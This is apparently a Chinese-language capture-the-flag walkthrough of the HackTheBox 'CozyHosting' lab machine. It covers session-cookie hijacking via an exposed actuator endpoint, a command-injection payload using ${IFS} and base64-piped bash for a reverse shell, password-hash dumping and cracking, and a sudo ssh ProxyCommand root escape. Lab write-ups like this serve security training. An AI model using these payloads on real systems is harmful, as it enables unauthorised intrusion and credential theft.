还是先 nmap 扫一下:
$ nmap -n -Pn -sV 10.10.11.230
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-18 20:44 CST
Nmap scan report for 10.10.11.230
Host is up (0.073s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.70 seconds
开了 80 和 22,访问一下:
自动跳转到了 http://cozyhosting.htb/,我们把它添加到 /etc/hosts
,接下来刷新进入:
我们尝试用 admin/admin 登录,会发现登录是通过 Cookie 中的 JSESSIONID 向服务器发送请求的:
接下来进行一次 dirsearch 扫描,看看有什么泄露的信息:
dirsearch -u http://cozyhosting.htb
我们能发现在 /actuator/sessions
目录下包含所有用户的 JESSIONID:
尝试用这个已登录的 kanderson 的 JSESSIONID 替代所有的请求中的 JSESSIONID 登录:
SESSION 到期时间
这里 session 到期时间比较快,需要经常性地更换 session。
进入后台:
发现似乎存在一个 ssh 连接的功能,设置 host 为 127.0.0.1,看看报文:
返回错误:
看上去可以命令注入,尝试在 username 字段输入 test'
,发现报错执行 bash 时出现错误:
接下来就在 username 处构造命令注入,通过 ${IFS}
绕过空格限制,通过 base64 反弹 shell。
具体来说是我们制作这样一个 payload:
然后在 username 字段构造 payload,并用 ${IFS}
绕过:
;echo${IFS%}"<your payload here>"${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;
接下来把它转成 URL-encoded 的版本:(图上有些小问题,应该是 ${IFS}
而不是 ${IFS%??}
)
我们在本地监听端口,就能得到一个 shell 了:
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 2345
listening on [any] 2345 ...
connect to [10.10.16.51] from (UNKNOWN) [10.10.11.230] 36530
bash: cannot set terminal process group (1064): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$
为了得到一个更稳定的 shell,我们可以这样做:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg
这里我们能看到一个 jar 文件,通过 python 启动一个服务器下载下来:
在服务器上:
python3 -m http.server 4444
在本地:
wget http://10.10.11.230:4444/<file_name>
接下来通过 jd-gui 打开这个文件,可以翻到数据库的用户名和密码:
jd-gui xxx
这样就可以登录本地数据库了:
psql -h 127.0.0.1 -U postgres
> \c cozyhosting
app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres
Password for user postgres:
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=#
接下来获取密码的哈希值:
> \d
> select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
用 john 跑一下 kanderson 密码的类型:
└─$ john hash.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
发现是 Blowfish 32/64 X3,搜索hashcat中对应的编号,为3200:
└─$ hashcat -h | grep "Blowfish"
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish) | Document
我们可以用 john 通过 rockyou 字典跑:
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
... ...
manchesterunited (?)
... ...
也可以用 hashcat:
└─$ hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
... ...
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
... ...
我先跑了 kanderson 的,结果好久没跑出来,但是 admin 的很快就跑出来了。
之后去翻一下 /etc/passwd
:
app@cozyhosting:/app$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
看上去 josh 是可以登录的用户。接下来用这个密码登录,就可以找到 user 密钥了。
接下来通过命令 sudo -l
可以列出 root 可以使用的命令列表。用户可以在本地运行 root 权限的 ssh,可以用 GTFOBINS 查询怎样获得 root 权限:
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root
这样就拿到了 root 权限。